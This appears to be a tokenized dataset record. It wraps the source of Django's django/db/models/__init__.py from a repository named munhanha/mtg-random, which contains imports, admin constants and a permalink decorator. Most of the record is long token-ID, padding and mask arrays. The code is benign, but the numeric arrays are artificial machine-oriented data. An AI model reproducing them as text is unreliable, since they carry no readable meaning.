32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 603, 4466, 68, 24426, 520, 4178, 921, 5031, 14, 957, 15, 1237, 5700, 1715, 15, 1237, 5700, 199, 3, 199, 3, 1898, 1253, 1574, 27, 14894, 2281, 1311, 820, 85, 728, 18090, 4693, 17589, 16871, 31671, 738, 43, 6129, 12, 199, 3, 257, 653, 7181, 36, 593, 1151, 31196, 20548, 16871, 31671, 12, 31615, 290, 8360, 8408, 5800, 12, 199, 3, 257, 1010, 6329, 337, 7964, 310, 446, 491, 618, 11908, 1253, 17447, 2709, 12, 1010, 25585, 402, 16332, 662, 1372, 4312, 24309, 17378, 12, 27751, 199, 3, 6988, 19596, 446, 844, 446, 23285, 26, 14629, 446, 650, 14, 16, 435, 199, 3, 26324, 26, 3507, 29, 889, 13, 826, 199, 504, 2169, 5700, 14, 1246, 492, 2018, 11570, 12, 23823, 2927, 12, 473, 3186, 21058, 3697, 12, 9361, 2638, 2927, 199, 504, 2169, 5700, 14, 4989, 492, 25596, 414, 199, 199, 3, 2790, 376, 2701, 1817, 14466, 370, 506, 16460, 701, 282, 2366, 2884, 14, 421, 199, 533, 2790, 4699, 3186, 21058, 8, 4718, 11570, 304, 339, 347, 6212, 8, 277, 304, 267, 372, 298, 10607, 376, 2701, 6957, 21058, 1314, 883, 506, 16460, 543, 7750, 1867, 2049, 298, 1313, 402, 2556, 2122, 339, 347, 4637, 8, 277, 304, 267, 372, 283, 17505, 1103, 6517, 10749, 7, 339, 347, 1937, 31892, 8, 277, 304, 267, 372, 359, 298, 5392, 3186, 13405, 2266, 14376, 3186, 21058, 2, 1622, 339, 347, 1611, 9346, 8, 277, 304, 267, 327, 13966, 29200, 4382, 267, 291, 14, 16536, 3697, 8, 649, 461, 21058, 3697, 480, 2959, 21058, 401, 4873, 25596, 414, 14, 2959, 395, 2490, 298, 1918, 536, 402, 314, 1817, 14466, 626, 911, 506, 2737, 2685, 339, 347, 1611, 4858, 8, 277, 304, 267, 1817, 5035, 275, 9361, 2638, 2927, 14, 981, 3186, 342, 398, 291, 14, 21173, 480, 2959, 21058, 401, 1817, 5035, 9, 421, 199, 3, 11828, 5563, 543, 603, 4466, 68, 199, 11570, 2927, 14, 10108, 8, 2499, 4699, 3186, 21058, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
munhanha/mtg-random
django/db/models/__init__.py
248
1500
from django.conf import settings from django.core.exceptions import ObjectDoesNotExist, ImproperlyConfigured from django.db import connection from django.db.models.loading import get_apps, get_app, get_models, get_model, register_models from django.db.models.query import Q from django.db.models.expressions import F from django.db.models.manager import Manager from django.db.models.base import Model from django.db.models.aggregates import * from django.db.models.fields import * from django.db.models.fields.subclassing import SubfieldBase from django.db.models.fields.files import FileField, ImageField from django.db.models.fields.related import ForeignKey, OneToOneField, ManyToManyField, ManyToOneRel, ManyToManyRel, OneToOneRel from django.db.models.deletion import CASCADE, PROTECT, SET, SET_NULL, SET_DEFAULT, DO_NOTHING, ProtectedError from django.db.models import signals from django.utils.decorators import wraps # Admin stages. ADD, CHANGE, BOTH = 1, 2, 3 def permalink(func): """ Decorator that calls urlresolvers.reverse() to return a URL using parameters returned by the decorated function "func". "func" should be a function that returns a tuple in one of the following formats: (viewname, viewargs) (viewname, viewargs, viewkwargs) """ from django.core.urlresolvers import reverse @wraps(func) def inner(*args, **kwargs): bits = func(*args, **kwargs) return reverse(bits[0], None, *bits[1:3]) return inner
bsd-3-clause
[ 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 3924, 492, 24803, 12, 11897, 199, 504, 1639, 14, 697, 492, 1950, 199, 504, 1639, 14, 697, 14, 992, 14, 8786, 492, 664, 63, 5181, 12, 664, 63, 571, 12, 664, 63, 992, 12, 664, 63, 1238, 12, 2274, 63, 992, 199, 504, 1639, 14, 697, 14, 992, 14, 1131, 492, 1413, 199, 504, 1639, 14, 697, 14, 992, 14, 15264, 492, 481, 199, 504, 1639, 14, 697, 14, 992, 14, 2609, 492, 13537, 199, 504, 1639, 14, 697, 14, 992, 14, 1095, 492, 5822, 199, 504, 1639, 14, 697, 14, 992, 14, 21622, 492, 627, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 492, 627, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 14, 27904, 492, 4804, 698, 1563, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 14, 1725, 492, 3814, 792, 12, 6047, 792, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 14, 2407, 492, 12718, 12, 7309, 13216, 12, 28409, 12, 15517, 10939, 5640, 12, 15517, 6749, 5640, 12, 7309, 10939, 5640, 199, 504, 1639, 14, 697, 14, 992, 14, 14281, 492, 27751, 9947, 12, 3611, 52, 3582, 12, 11543, 12, 11543, 63, 8084, 12, 11543, 63, 3472, 12, 3506, 63, 4609, 40, 1206, 12, 2165, 4530, 547, 199, 504, 1639, 14, 697, 14, 992, 492, 10166, 199, 504, 1639, 14, 1208, 14, 11582, 492, 14018, 199, 199, 3, 9516, 24490, 14, 199, 9732, 12, 6624, 9011, 12, 699, 22949, 275, 413, 12, 499, 12, 650, 199, 199, 318, 1126, 2174, 2292, 8, 1532, 304, 272, 408, 272, 30684, 626, 4882, 32403, 14, 4471, 342, 370, 372, 282, 2851, 1808, 272, 2633, 2138, 701, 314, 16225, 805, 298, 1532, 1674, 339, 298, 1532, 2, 1077, 506, 282, 805, 626, 2529, 282, 2008, 315, 1373, 402, 314, 272, 2569, 6752, 26, 267, 334, 1345, 354, 12, 2455, 589, 9, 267, 334, 1345, 354, 12, 2455, 589, 12, 2455, 958, 9, 272, 408, 272, 687, 1639, 14, 1018, 14, 16522, 492, 3837, 272, 768, 13582, 8, 1532, 9, 272, 347, 6506, 2031, 589, 12, 1011, 958, 304, 267, 5821, 275, 2562, 2031, 589, 12, 1011, 958, 9, 267, 372, 3837, 8, 5609, 59, 16, 467, 488, 12, 627, 5609, 59, 17, 26, 19, 566, 272, 372, 6506, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 3924, 492, 24803, 12, 11897, 199, 504, 1639, 14, 697, 492, 1950, 199, 504, 1639, 14, 697, 14, 992, 14, 8786, 492, 664, 63, 5181, 12, 664, 63, 571, 12, 664, 63, 992, 12, 664, 63, 1238, 12, 2274, 63, 992, 199, 504, 1639, 14, 697, 14, 992, 14, 1131, 492, 1413, 199, 504, 1639, 14, 697, 14, 992, 14, 15264, 492, 481, 199, 504, 1639, 14, 697, 14, 992, 14, 2609, 492, 13537, 199, 504, 1639, 14, 697, 14, 992, 14, 1095, 492, 5822, 199, 504, 1639, 14, 697, 14, 992, 14, 21622, 492, 627, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 492, 627, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 14, 27904, 492, 4804, 698, 1563, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 14, 1725, 492, 3814, 792, 12, 6047, 792, 199, 504, 1639, 14, 697, 14, 992, 14, 955, 14, 2407, 492, 12718, 12, 7309, 13216, 12, 28409, 12, 15517, 10939, 5640, 12, 15517, 6749, 5640, 12, 7309, 10939, 5640, 199, 504, 1639, 14, 697, 14, 992, 14, 14281, 492, 27751, 9947, 12, 3611, 52, 3582, 12, 11543, 12, 11543, 63, 8084, 12, 11543, 63, 3472, 12, 3506, 63, 4609, 40, 1206, 12, 2165, 4530, 547, 199, 504, 1639, 14, 697, 14, 992, 492, 10166, 199, 504, 1639, 14, 1208, 14, 11582, 492, 14018, 199, 199, 3, 9516, 24490, 14, 199, 9732, 12, 6624, 9011, 12, 699, 22949, 275, 413, 12, 499, 12, 650, 199, 199, 318, 1126, 2174, 2292, 8, 1532, 304, 272, 408, 272, 30684, 626, 4882, 32403, 14, 4471, 342, 370, 372, 282, 2851, 1808, 272, 2633, 2138, 701, 314, 16225, 805, 298, 1532, 1674, 339, 298, 1532, 2, 1077, 506, 282, 805, 626, 2529, 282, 2008, 315, 1373, 402, 314, 272, 2569, 6752, 26, 267, 334, 1345, 354, 12, 2455, 589, 9, 267, 334, 1345, 354, 12, 2455, 589, 12, 2455, 958, 9, 272, 408, 272, 687, 1639, 14, 1018, 14, 16522, 492, 3837, 272, 768, 13582, 8, 1532, 9, 272, 347, 6506, 2031, 589, 12, 1011, 958, 304, 267, 5821, 275, 2562, 2031, 589, 12, 1011, 958, 9, 267, 372, 3837, 8, 5609, 59, 16, 467, 488, 12, 627, 5609, 59, 17, 26, 19, 566, 272, 372, 6506, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 